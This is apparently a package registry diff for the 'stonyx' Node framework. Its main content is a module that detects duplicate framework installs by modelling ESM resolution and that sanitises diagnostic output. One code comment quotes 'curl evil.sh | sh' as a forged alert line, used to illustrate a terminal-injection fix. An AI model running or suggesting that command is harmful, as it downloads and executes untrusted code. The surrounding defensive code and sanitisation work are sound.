stonyx 0.2.3-alpha.7 → 0.2.3-alpha.71

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/README.md +30 -7
  2. package/config/{environment.js → environment copy.ts } +16 -12
  3. package/dist/cli/help.d.ts +8 -0
  4. package/dist/cli/help.js +43 -0
  5. package/dist/cli/load-commands.d.ts +10 -0
  6. package/dist/cli/load-commands.js +49 -0
  7. package/dist/cli/new.d.ts +72 -0
  8. package/dist/cli/new.js +422 -0
  9. package/dist/cli/serve.d.ts +6 -0
  10. package/dist/cli/serve.js +49 -0
  11. package/dist/cli/test-setup.d.ts +1 -0
  12. package/dist/cli/test-setup.js +30 -0
  13. package/dist/cli/test.d.ts +4 -0
  14. package/dist/cli/test.js +23 -0
  15. package/dist/cli.d.ts +2 -0
  16. package/dist/cli.js +53 -0
  17. package/dist/exports/config.d.ts +2 -0
  18. package/dist/exports/config.js +2 -0
  19. package/dist/exports/log.d.ts +2 -0
  20. package/{src → dist}/exports/log.js +1 -2
  21. package/dist/exports/test-helpers.d.ts +5 -0
  22. package/dist/exports/test-helpers.js +7 -0
  23. package/dist/lifecycle.d.ts +7 -0
  24. package/dist/lifecycle.js +18 -0
  25. package/dist/main.d.ts +22 -0
  26. package/dist/main.js +102 -0
  27. package/dist/modules.d.ts +5 -0
  28. package/dist/modules.js +186 -0
  29. package/dist/util/duplicate-core.d.ts +186 -0
  30. package/dist/util/duplicate-core.js +377 -0
  31. package/dist/util/import-config.d.ts +52 -0
  32. package/dist/util/import-config.js +256 -0
  33. package/dist/util/resolve-entry-point.d.ts +1 -0
  34. package/dist/util/resolve-entry-point.js +14 -0
  35. package/dist/util/resolve-module-name.d.ts +14 -0
  36. package/dist/util/resolve-module-name.js +33 -0
  37. package/package.json +41 -12
  38. package/scripts/postinstall.js +24 -2
  39. package/.claude/index.md +0 -96
  40. package/.github/workflows/ci.yml +0 -16
  41. package/.github/workflows/publish.yml +0 -51
  42. package/docs/api.md +0 -89
  43. package/docs/cli.md +0 -78
  44. package/docs/configuration.md +0 -72
  45. package/docs/conventions/discord-conventions.md +0 -62
  46. package/docs/conventions/framework-modules.md +0 -127
  47. package/docs/conventions/index.md +0 -24
  48. package/docs/conventions/orm-conventions.md +0 -190
  49. package/docs/conventions/project-structure.md +0 -105
  50. package/docs/conventions/rest-conventions.md +0 -96
  51. package/docs/conventions/testing-conventions.md +0 -56
  52. package/docs/developing-modules.md +0 -108
  53. package/docs/index.md +0 -15
  54. package/docs/lifecycle.md +0 -47
  55. package/docs/logging.md +0 -52
  56. package/docs/modules.md +0 -78
  57. package/docs/testing.md +0 -64
  58. package/src/cli/help.js +0 -48
  59. package/src/cli/load-commands.js +0 -56
  60. package/src/cli/new.js +0 -237
  61. package/src/cli/serve.js +0 -38
  62. package/src/cli/test-setup.js +0 -8
  63. package/src/cli/test.js +0 -27
  64. package/src/cli.js +0 -63
  65. package/src/exports/config.js +0 -3
  66. package/src/exports/test-helpers.js +0 -8
  67. package/src/lifecycle.js +0 -17
  68. package/src/main.js +0 -101
  69. package/src/modules.js +0 -112
@@ -0,0 +1,377 @@
1
+ /**
2
+ * Install-and-boot invariant I1 — "one core".
3
+ *
4
+ * At `Stonyx.start()`, every discovered module must resolve the SAME physical
5
+ * `stonyx` package root as the running core. Otherwise the app has two
6
+ * framework singletons: `loadModules` runs on copy A, and a module whose own
7
+ * subtree carries copy B registers its config, its Chronicle types and its
8
+ * lifecycle hooks on B — which nobody ever `start()`ed.
9
+ *
10
+ * Why a PRE-FLIGHT and not a better `catch`. The catch only sees modules that
11
+ * happen to touch `Stonyx.config` at load time and therefore throw
12
+ * "Stonyx has not been initialized yet". A module that does not touch it at
13
+ * load time does not throw at all: it loads, it initialises, it reports
14
+ * success, and its hooks silently never fire. That failure is invisible today,
15
+ * and no improvement to the catch can reach it. Multiple cores is never a
16
+ * valid state, so it is detected up front and refused.
17
+ *
18
+ * Measured shape this exists for (abofs/stonyx#108, `stonyx new` scaffold at
19
+ * 0.2.3-beta.96): three distinct copies of the core on disk — `0.2.2`,
20
+ * `0.2.3-beta.6`, `0.2.3-beta.11` — because five sibling repos pin the core
21
+ * EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
22
+ * a sibling's different exact pin.
23
+ */
24
+ import { readFileSync, realpathSync } from 'node:fs';
25
+ import { dirname, join } from 'node:path';
26
+ import { fileURLToPath } from 'node:url';
27
+ /** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
28
+ * `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
29
+ function realPath(path) {
30
+ try {
31
+ return realpathSync(path);
32
+ }
33
+ catch {
34
+ return path;
35
+ }
36
+ }
37
+ const IGNORE = () => { };
38
+ /**
39
+ * The directories ESM consults for a bare specifier, in the order it consults
40
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
41
+ *
42
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
43
+ * through `await import`, so the copy of `stonyx` a module "would import" is
44
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
45
+ * is generated rather than filtered, and that is the fix for a defect in each
46
+ * direction.
47
+ *
48
+ * TOO WIDE, the previous defect. The candidates used to come from
49
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
50
+ * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
51
+ * prefix. ESM ignores every one of those, so honouring them invents a
52
+ * "duplicate" out of an ambient environment variable that the real import never
53
+ * consults. This workspace exports `NODE_PATH` at a different `stonyx`
54
+ * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
55
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
56
+ * mode rather than screening for it — nothing here reads the environment, so
57
+ * there is no list to get the screen wrong on.
58
+ *
59
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
60
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
61
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
62
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
63
+ * that never descends into a directory already named `node_modules`. **ESM's
64
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
65
+ * from a module at `<app>/node_modules/@stonyx/x`:
66
+ *
67
+ * import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
68
+ * await import('stonyx') -> that copy
69
+ * require.resolve('stonyx') -> MODULE_NOT_FOUND
70
+ *
71
+ * A genuine second core there was missed silently. Worse, because ESM reaches
72
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
73
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
74
+ * success — this file's own opening paragraph ("it loads, it initialises, it
75
+ * reports success, and its hooks silently never fire") surviving the check
76
+ * written to catch it. Isolating control, moving nothing but the directory: the
77
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
78
+ *
79
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
80
+ * from that same module dir. Against the WALK PROPER the difference is one
81
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
82
+ * `<app>/node_modules/node_modules` (the miss above), and
83
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
84
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
85
+ * the three global folders (measured here: `~/.node_modules`,
86
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
87
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
88
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
89
+ * true of one enumeration and false of the other.
90
+ *
91
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
92
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
93
+ * levels of nesting is not a candidate, because
94
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
95
+ * planted two levels deep resolves to the real core, and is correctly ignored.
96
+ *
97
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
98
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
99
+ * reviewed as the screen instead of a shape test, and rejected here on typing
100
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
101
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
102
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
103
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
104
+ * at `<app>/node_modules` with a real second core inside it:
105
+ *
106
+ * NODE_PATH=<app>/node_modules provenance -> no core found
107
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
108
+ * NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
109
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
110
+ *
111
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
112
+ * the app's own `node_modules` going invisible the moment a developer exports
113
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
114
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
115
+ * have introduced a miss. Generating the walk retires the question entirely —
116
+ * there is no list to screen and no environment read — which is why neither
117
+ * screen survives here.
118
+ *
119
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
120
+ * the first candidate carrying a core is the one returned. It is Node's own
121
+ * order, verified positionally rather than assumed: a distinct core planted in
122
+ * each of the first four candidates and removed one at a time, `await import`
123
+ * selecting exactly this sequence.
124
+ *
125
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
126
+ */
127
+ export function esmNodeModulesWalk(fromDir) {
128
+ const walk = [];
129
+ for (let dir = fromDir;; dir = dirname(dir)) {
130
+ walk.push(join(dir, 'node_modules'));
131
+ if (dirname(dir) === dir)
132
+ return walk;
133
+ }
134
+ }
135
+ /**
136
+ * `null` when nothing is there — the ordinary case while walking up.
137
+ *
138
+ * A manifest that EXISTS but will not read or parse is a different state, and
139
+ * it is the fail-open site that had neither a signal nor a test. ENOENT and
140
+ * ENOTDIR mean "no package here"; anything else — EACCES from a `chmod 000`, or
141
+ * a SyntaxError from a corrupt manifest, which carries no `code` at all — means
142
+ * a package root was found and could not be inspected.
143
+ */
144
+ function readPackageJson(dir, report = IGNORE) {
145
+ const file = join(dir, 'package.json');
146
+ try {
147
+ return JSON.parse(readFileSync(file, 'utf8'));
148
+ }
149
+ catch (error) {
150
+ const code = error?.code;
151
+ if (code !== 'ENOENT' && code !== 'ENOTDIR') {
152
+ report(`Stonyx: ${file} exists but could not be read as JSON (${code ?? error?.name ?? 'unknown error'}), ` +
153
+ 'so it was not checked for a duplicate framework core.');
154
+ }
155
+ return null;
156
+ }
157
+ }
158
+ function asCore(dir, report = IGNORE) {
159
+ const pkg = readPackageJson(dir, report);
160
+ if (!pkg || pkg.name !== 'stonyx')
161
+ return null;
162
+ // A manifest with no string `version` is malformed, not absent. `'unknown'`
163
+ // keeps the row in the table: dropping the whole core because one field is
164
+ // missing would silently un-detect a real duplicate, which is the failure
165
+ // mode this file exists to remove.
166
+ return { root: realPath(dir), version: typeof pkg.version === 'string' ? pkg.version : 'unknown' };
167
+ }
168
+ /**
169
+ * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
170
+ * if that package is `stonyx`.
171
+ *
172
+ * Stops at the first `package.json` rather than at the first one NAMED stonyx:
173
+ * the first is by definition the package that owns the file, and continuing
174
+ * past it would walk out of the resolved package and could report an unrelated
175
+ * ancestor — inside this repo's own worktree, that ancestor is the repo root,
176
+ * which IS named `stonyx`. That would make every fixture look like a match.
177
+ *
178
+ * EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
179
+ * load-bearing, and until D15 the entire suite could not tell the two
180
+ * behaviours apart — a mutant that walked past a non-stonyx manifest survived
181
+ * every test. A docblock asserting a property with no test that can red is the
182
+ * defect family this cluster exists to remove, so the function is exported for
183
+ * one reason: so that claim can fail.
184
+ */
185
+ export function owningCore(startDir, report = IGNORE) {
186
+ let dir = realPath(startDir);
187
+ for (;;) {
188
+ const pkg = readPackageJson(dir, report);
189
+ if (pkg)
190
+ return pkg.name === 'stonyx' ? asCore(dir, report) : null;
191
+ const parent = dirname(dir);
192
+ if (parent === dir)
193
+ return null;
194
+ dir = parent;
195
+ }
196
+ }
197
+ /** The `stonyx` copy that is executing this code. */
198
+ export function runningCore(report = IGNORE) {
199
+ return owningCore(dirname(fileURLToPath(import.meta.url)), report);
200
+ }
201
+ /**
202
+ * The `stonyx` copy a package installed at `moduleDir` would import.
203
+ *
204
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
205
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
206
+ * first candidate that carries a `stonyx` package root wins, which is exactly
207
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
208
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
209
+ * still detected rather than silently skipped by an `exports` map.
210
+ *
211
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
212
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
213
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
214
+ * symlink before resolving the module's own imports. Walking the symlink path
215
+ * instead reads the app's flat `node_modules` and reports the running core for
216
+ * every module — the check would pass vacuously on exactly the installer
217
+ * `stonyx new` uses.
218
+ *
219
+ * Returns `null` when no copy is reachable at all — "cannot tell", handled as
220
+ * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
221
+ * go to `report`; see `InconclusiveReporter`.
222
+ */
223
+ export function coreSeenBy(moduleDir, report = IGNORE) {
224
+ const resolvedModuleDir = realPath(moduleDir);
225
+ for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
226
+ const core = asCore(join(nodeModulesDir, 'stonyx'), report);
227
+ if (core)
228
+ return core;
229
+ }
230
+ return null;
231
+ }
232
+ /**
233
+ * Every discovered module that would import a DIFFERENT physical core.
234
+ *
235
+ * FAIL DIRECTION — this is the property, not an implementation detail. A
236
+ * module whose core cannot be resolved, and the case where the running core
237
+ * cannot identify itself, both report NOTHING. This guard exists to convert a
238
+ * silent wrong state into a loud one; it must not invent a boot failure out of
239
+ * an inconclusive probe. Every state it does report has two package roots in
240
+ * hand and has compared them.
241
+ */
242
+ export function findForeignCores(modules, core = undefined, report = IGNORE) {
243
+ const resolved = core === undefined ? runningCore(report) : core;
244
+ // The first fail-open, and the one with the widest blast radius: no core, no
245
+ // comparison, nothing checked at all. Reported here rather than inside
246
+ // `runningCore` so the same line is emitted however the caller arrived at it.
247
+ if (!resolved) {
248
+ report('Stonyx: the running framework core could not identify itself, so the duplicate-core pre-flight was skipped and a second core would not be reported.');
249
+ return [];
250
+ }
251
+ const foreign = [];
252
+ for (const { name, dir } of modules) {
253
+ const moduleCore = coreSeenBy(dir, report);
254
+ // A module that resolves NO core is not an inconclusive probe and is not
255
+ // reported: `coreSeenBy` walks exactly what the module would import, so
256
+ // "nothing found" means there is no second copy on that path to hide. The
257
+ // two states that CAN hide one report from where they occur.
258
+ if (!moduleCore || moduleCore.root === resolved.root)
259
+ continue;
260
+ foreign.push({ moduleName: name, moduleCore, runningCore: resolved });
261
+ }
262
+ return foreign;
263
+ }
264
+ /**
265
+ * NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
266
+ *
267
+ * `version` and the package root come from a manifest this app did not write.
268
+ * `moduleName` is narrower — it is a key from the app's own `devDependencies`,
269
+ * so forging it is an app author forging their own diagnostic — but it is
270
+ * rendered through the same `padEnd` table, and it caused the same two
271
+ * symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
272
+ * COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
273
+ * sh <===`, indented to match) and destroyed the column alignment, because the
274
+ * widths are computed from the raw multi-line label.
275
+ *
276
+ * It was left raw at three sites while its two neighbours were sanitised — the
277
+ * package ROOT derived from that same name is sanitised in the very same row.
278
+ * Two halves of one string treated differently is an oversight, not a
279
+ * judgement, so it is closed rather than argued down.
280
+ *
281
+ * This renders BEFORE any module entry point is imported, so it is reachable
282
+ * under `npm install --ignore-scripts`: the one mode in which no third-party
283
+ * code has otherwise executed.
284
+ *
285
+ * Printable ASCII only, and bounded, so a long value cannot push the rest of
286
+ * the message off screen either.
287
+ */
288
+ /**
289
+ * Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
290
+ * one thing in this message a consumer acts on directly, and a truncated path
291
+ * is worse than a long one — the version is a label, the path is an
292
+ * instruction. Nothing longer than this can exist on the filesystems Node runs
293
+ * on, so in practice a root is sanitised and never shortened.
294
+ *
295
+ * WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
296
+ * rendered LAST on its line and is never `padEnd`ed, so its length costs
297
+ * nothing but its own wrap. The module name and the version are both inside
298
+ * PADDED columns whose widths are the max over every row, so one long value
299
+ * there pushes every other row's remaining columns off screen. Those two take
300
+ * the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
301
+ * so a real name is sanitised and never shortened either.
302
+ */
303
+ const PATH_LIMIT = 1024;
304
+ function display(value, limit = 64) {
305
+ const clamped = value.replace(/[^\x20-\x7e]/g, '?');
306
+ return clamped.length > limit ? `${clamped.slice(0, limit)}...` : clamped;
307
+ }
308
+ /**
309
+ * The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
310
+ * `Stonyx modules with async loading must have a config/environment.js file` —
311
+ * which named a file that was present and correct, and named a module that was
312
+ * not the one that failed.
313
+ *
314
+ * Per `quality.md`, the replacement states what it does NOT cover, because the
315
+ * message it replaces is exactly the kind of overstated claim that made the
316
+ * next reader stop checking.
317
+ */
318
+ export function duplicateCoreMessage(foreign) {
319
+ const [first] = foreign;
320
+ if (!first)
321
+ throw new Error('duplicateCoreMessage called with no foreign cores');
322
+ const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
323
+ const single = foreign.length === 1;
324
+ // DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
325
+ // the SAME nested copy are two rows and two copies, not three. Found by
326
+ // running this against a real `stonyx new` tree: there the naive count was
327
+ // right by coincidence (three modules, three different copies), and it is
328
+ // wrong for the commonest npm shape, where siblings on one exact pin dedupe
329
+ // with each other.
330
+ const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
331
+ const rows = [
332
+ ['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
333
+ ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
334
+ ];
335
+ const labelWidth = Math.max(...rows.map(([label]) => label.length));
336
+ const versionWidth = Math.max(...rows.map(([, version]) => version.length));
337
+ const versions = [...new Set(foreign.map(({ moduleCore }) => moduleCore.version))];
338
+ // Only offer a pin when there IS one. Three modules pinning three different
339
+ // versions cannot be reconciled by any consumer-side pin, and naming one of
340
+ // them anyway is advice that does not work. The message this one replaces
341
+ // was wrong for exactly that reason — it asserted more than it knew.
342
+ //
343
+ // AND only when that pin is not ALREADY IN EFFECT. Same version at two roots
344
+ // is a duplicate INSTALL, not a version conflict — the shape
345
+ // `npm install -g stonyx` plus `stonyx new` produces, and the one the docs
346
+ // walk a consumer through — so telling them to pin the version their running
347
+ // core already IS, is advice that has demonstrably just failed. That is the
348
+ // same "asserts more than it knows" defect the whole message replaces.
349
+ const consumerRemedy = versions.length !== 1
350
+ ? 'There is no consumer-side pin that fixes this: the modules disagree among themselves ' +
351
+ `(${versions.map(version => display(version)).join(', ')}). They must be republished with the peer shape above.`
352
+ : versions[0] === first.runningCore.version
353
+ ? `Fix (this app, meanwhile): every copy on disk is already stonyx@${display(versions[0])}, so this is a duplicate ` +
354
+ 'INSTALL and not a version conflict — no pin can merge them. Run one core: invoke the CLI from this app\'s own ' +
355
+ 'node_modules/.bin/stonyx rather than a global install, and remove the redundant copy listed above.'
356
+ : `Fix (this app, meanwhile): pin stonyx@${display(versions[0])} so every copy dedupes to one.`;
357
+ return [
358
+ `Stonyx: ${copies} copies of the framework are installed and this app cannot be served.`,
359
+ '',
360
+ ...rows.map(([label, version, root]) => ` ${label.padEnd(labelWidth)} ${version.padEnd(versionWidth)} ${root}`),
361
+ '',
362
+ `Config, logging and lifecycle hooks are registered on the running core. ${names} ` +
363
+ `${single ? 'imports' : 'import'} a different copy, so for ${single ? 'it' : 'them'} \`Stonyx.config\` is empty, ` +
364
+ `\`Stonyx.log\` throws "Stonyx has not been initialized yet", and ${single ? 'its' : 'their'} ` +
365
+ 'startup and shutdown hooks never fire.',
366
+ '',
367
+ `Fix (module author): ${names} must declare stonyx in devDependencies plus a non-optional ` +
368
+ 'peerDependencies range, never as an exact dependency — @stonyx/discord is the reference shape. ' +
369
+ consumerRemedy,
370
+ '',
371
+ 'Scope of this check: it compares physical package ROOTS only. It does not check that the ' +
372
+ 'single surviving copy is a compatible version, and it looks at @stonyx/* packages declared in ' +
373
+ 'this app\'s devDependencies that carry the "stonyx-module" keyword — nothing else. A copy ' +
374
+ 'dragged in by anything outside that set, including an @stonyx/* package declared in ' +
375
+ 'dependencies rather than devDependencies, is not counted.',
376
+ ].join('\n');
377
+ }
@@ -0,0 +1,52 @@
1
+ /**
2
+ * "There is no config here." Callers are allowed to treat this as benign —
3
+ * `src/main.ts` does, for the optional `test/config/environment.*` override.
4
+ *
5
+ * `main.ts` matches on this exact string, so it is exported rather than
6
+ * duplicated: the swallow and the thrower must not be able to drift apart.
7
+ */
8
+ export declare const CONFIG_NOT_FOUND_PREFIX = "Config not found:";
9
+ /**
10
+ * "There is a config here and I declined to load it." Deliberately NOT prefixed
11
+ * with `CONFIG_NOT_FOUND_PREFIX`, because `main.ts`'s `NODE_ENV=test` catch
12
+ * swallows that prefix and must not swallow this.
13
+ *
14
+ * This is install-and-boot invariant I2 — "no silent
15
+ * decline". Before #105 the two states were literally indistinguishable:
16
+ * measured against `stonyx@0.2.3-beta.95`, a consumer with `config/environment.ts`
17
+ * and the same consumer after `mv config/environment.js config/environment.xyz`
18
+ * both produced the byte-identical `Config not found: .../config/environment.js`.
19
+ */
20
+ export declare const CONFIG_NOT_LOADABLE_PREFIX = "Config present but not loadable:";
21
+ /**
22
+ * Did this runtime refuse OUR config file, or something our config imported?
23
+ *
24
+ * `FILE_TYPE_REFUSAL_CODES.has(code)` alone cannot tell. A config that loaded
25
+ * and ran perfectly well, but whose own nested `import()` hit a `.ts` under
26
+ * `node_modules`, throws the SAME code — and was reported as "this Node runtime
27
+ * refused to load your config", naming a file that is fine. That misdirection
28
+ * points the consumer at the one file that is not the problem, and the likeliest
29
+ * instance of it is the exact `.ts`-under-node_modules case this loader's own
30
+ * docs tell people to look for.
31
+ *
32
+ * FAIL DIRECTION — this is the property, not an implementation detail.
33
+ * `true` means "re-frame this as a refusal of the config", which is exactly the
34
+ * F-3 misdirection above. So when no path can be extracted this returns
35
+ * `false`, and the caller rethrows Node's own error untouched, `cause` and all.
36
+ * The consumer then reads what actually happened instead of a friendly sentence
37
+ * about the wrong file. This is what makes every future gap in the two patterns
38
+ * harmless: an unparseable message costs the I2 re-framing, not correctness.
39
+ *
40
+ * It previously returned `true` here, on the reasoning that keeping the loud
41
+ * re-frame mattered more than getting the filename right. Measured, that is
42
+ * backwards: the raw error is loud too — `main.ts`'s `NODE_ENV=test` swallow
43
+ * only absorbs `CONFIG_NOT_FOUND_PREFIX`, which a Node refusal never starts
44
+ * with — so failing this way loses nothing and stops naming the wrong file.
45
+ *
46
+ * Exported ONLY so its branches can be reached directly. Driving it through
47
+ * `importConfig` reaches the two path-comparison outcomes and nothing else.
48
+ * A predicate inside the guard that makes failures loud does not get to have
49
+ * branches no test can reach.
50
+ */
51
+ export declare function refusalIsAboutTheConfig(message: string, configPath: string): boolean;
52
+ export declare function importConfig<T = unknown>(basePath: string): Promise<T>;